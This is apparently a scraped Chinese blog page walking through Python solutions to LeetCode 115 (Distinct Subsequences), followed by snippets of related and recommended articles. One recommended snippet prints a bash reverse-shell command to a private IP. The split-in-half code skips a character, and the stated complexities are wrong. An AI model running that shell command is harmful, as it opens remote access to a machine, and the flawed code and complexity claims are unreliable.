所有不同的序列串-----LCS算法的变种
今天遇到LEETCODE的第115题: Distinct Subsequences
Given a string S and a string T, count the number of distinct subsequences of S which equals T.
A subsequence of a string is a new string which is formed from the original string by deleting some (can be none) of the characters without disturbing the relative positions of the remaining characters. (ie, "ACE" is a subsequence of "ABCDE" while "AEC" is not).
Example 1:
Input: S ="rabbbit", T ="rabbit"Explanation:
Output: 3
As shown below, there are 3 ways you can generate "rabbit" from S.
(The caret symbol ^ means the chosen letters)rabbbit
^^^^ ^^
rabbbit
^^ ^^^^
rabbbit
^^^ ^^^
Example 2:
Input: S ="babgbag", T ="bag"Explanation:
Output: 5
As shown below, there are 5 ways you can generate "bag" from S.
(The caret symbol ^ means the chosen letters)babgbag
^^ ^
babgbag
^^ ^
babgbag
^ ^^
babgbag
^ ^^
babgbag
^^^
解法1:动态规划
假设已经得到了s[:i]中所有的t串f(i,t),考虑s[i]和t[-1]这2个字符,if不等:f(i+1,t)=f(i,t);else:f(i+1,t)=f(i,t)+f(i+1,t[:-1])。于是解法如下:
def dp(s,t):
if len(s)<len(t):return 0
if len(t)==1:return s.count(t)
ans=dp(s[:-1],t)
if s[-1]==t[-1]:ans+=dp(s[:-1],t[:-1])
return ans
测试中发现对比较长的S,出现了超时错误,说明时间复杂度高(O(len(s)*len(t)))。 解法2:二分法
对S进行等长分割成left,right,则结果应该=left中的数量 + right中的数量 + 跨界的数量
其中,跨界的数量 = left中的t[:1]数量*right中的t[1:]数量 + left中的t[:2]数量*right中的t[2:]数量 +...+ left中的t[:-1]数量*right中的t[-1]数量
于是解法如下:
def dp(s,t):
print(s,t)
if len(s)<len(t):return 0
if len(t)==1:return s.count(t)
n=len(s)//2
left,right=s[:n],s[n+1:]
ans=dp(left,t)+dp(right,t)
for i in range(1,len(t)):
ans+=dp(left,t[:i])*dp(right,t[i:])
return ans
测试中发现对比较长的S,出现了超时错误,说明时间复杂度高(O(len(s)*len(t)))。同时也说明跨界的数量不能直接算出的话,最好不要用二分法。 解法3:动态规划
再回到解法1,这次用二维转移矩阵,令f(i,j)=s[:i]中t[:j]的数量,考虑s[i]和t[j]这2个字符,if不等:f(i+1,j+1)=f(i,j);else:f(i+1,j+1)=f(i,j)+f(i+1,j)。于是解法如下:
def dp(s,t):res = [[0] * (len(s) + 1) for _ in range(len(t) + 1)]
res[0] = [1] * (len(s) + 1) for i, cht in enumerate(t):
for j, chs in enumerate(s):
if cht == chs:
res[i + 1][j + 1] = res[i][j] + res[i + 1][j]
else:
res[i + 1][j + 1] = res[i + 1][j] return res[-1][-1]
进一步优化为: def dp(s,t):
li=[0]*len(t)
d={}
for i in range(len(t)):
d[t[i]]=d.get(t[i],[])+[i]
for i in range(len(s)):
print(i,li,end=' ')
if s[i] in t:
for j in reversed(d[s[i]]):
if j == 0:
li[0] += 1
else:
li[j] += li[j - 1]
print(li)
return li[-1]
所有不同的序列串-----LCS算法的变种的更多相关文章
- 对LCS算法及其变种的初步研究
LCS的全称为Longest Common Subsequence,用于查找两个字符串中的最大公共子序列,这里需要注意区分子序列与子串,所谓子序列,指的是从前到后,可以跳跃元素筛选,而字串则必须连续筛 ...
- LCS算法
转自:http://hzzy-010.blog.163.com/blog/static/79692381200872024242126/ 好详细~~~也十分好理解~~~ 最长公共子序列问题(非连续的 ...
- 最大公共字串LCS问题(阿里巴巴)
给定两个串,均由最小字母组成.求这两个串的最大公共字串LCS(Longest Common Substring). 使用动态规划解决. #include <iostream> #inclu ...
- 序列最小最优化算法(SMO)-SVM的求解(续)
在前一篇文章中,我们给出了感知器和逻辑回归的求解,还将SVM算法的求解推导到了最后一步,在这篇文章里面,我们将给出最后一步的求解.也就是我们接下来要介绍的序列最小最优化算法. 序列最小最优化算法(SM ...
- 【机器学习】支持向量机(SVM)的优化算法——序列最小优化算法(SMO)概述
SMO算法是一一种启发式算法,它的基本思路是如果所有变量的解的条件都满足最优化问题的KKT条件,那么这个最优化问题的解就得到了.因为KKT条件是该优化问题的充分必要条件. 整个SMO算法包括两个部分: ...
- 笔试算法题(30):从已排序数组中确定数字出现的次数 & 最大公共子串和最大公共序列(LCS)
出题:在已经排序的数组中,找出给定数字出现的次数: 分析: 解法1:由于数组已经排序,所以可以考虑使用二分查找确定给定数字A的第一个出现的位置m和最后一个出现的位置n,最后m-n+1就是A出现的次数: ...
- O(nlogn)LIS及LCS算法
morestep学长出题,考验我们,第二题裸题但是数据范围令人无奈,考试失利之后,刻意去学习了下优化的算法 一.O(nlogn)的LIS(最长上升子序列) 设当前已经求出的最长上升子序列长度为len. ...
- LCS 算法实现
动态规划算法 #include <iostream> #include <string.h> #include <algorithm> #include <m ...
- Levenshtein Distance + LCS 算法计算两个字符串的相似度
//LD最短编辑路径算法 public static int LevenshteinDistance(string source, string target) { int cell = source ...
随机推荐
- linux下的缓存机制及清理buffer/cache/swap的方法梳理 (转)
一.缓存机制介绍 在Linux系统中,为了提高文件系统性能,内核利用一部分物理内存分配出缓冲区,用于缓存系统操作和数据文件,当内核收到读写的请求时,内核先去缓存区找是否有请求的数据,有就直接返回,如果 ...
- linux清理缓存的命令
查看缓存的命令 free -m 清理缓存的命令 echo 1 > /proc/sys/vm/drop_caches echo 2 > /proc/sys/vm/drop_caches e ...
- python:更改pip源
windows更改pip源 cmd echo %APPDATA% 打开目录 创建文件夹pip 创建pip.ini文件 [global] timeout = 60 index-url = http:// ...
- 反弹shell以及端口转发的方法收集
Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...
- hp quicktestprofession ver-10.0(QTP)的入门使用指南
---恢复内容开始--- SQA(software quality assurance) tool hp quicktestprofession ver-10.0(QTP) environment w ...
- Visual Studio 2017 注册码
Visual Studio 2017(VS2017) 企业版 Enterprise 注册码:NJVYC-BMHX2-G77MM-4XJMR-6Q8QF Visual Studio 2017(VS201 ...
- kali虚拟机添加共享文件夹
1.保证安装了vmtools 2.在虚拟机本身设置共享文件夹,如图 其中选的这个文件夹就是宿主机里待共享的文件夹. 3,在kali里启用它: vmhgfs-fuse .host:[宿主机文件夹] /m ...
- 新工具DPR的一些想法
可行性分析 假设: 连续性 - 与clustering的假设正好相反 分支事件 特征的选择:距离的度量: 限定KNN的必要性: MST构建: 主支的构建和简化:省略中间点:最短路径: 迭代处理所有分支 ...
- mysql创建新用户出现错误处理
心血来潮创建一个新用户,结果...步步艰难啊,好在最后成功,把我出现的问题和解决方案抛出来,希望大家顺顺利利创建成功┗|`O′|┛ 嗷~~ 我出现的错误主要有这三种: 1.ERROR 1064 (42 ...
- 关于分布式版本控制系统Git与集中式版本控制系统SVN的区别
我觉得最最主要的区别就是:分布式Git主要是在本地有各个历史版本,在不联网的时候,也可以更新到最新版本和查看过去的版本,而集中式SVN是所有人都将版本上传到中央服务器,当出现断网情况的时候,用户只有一 ...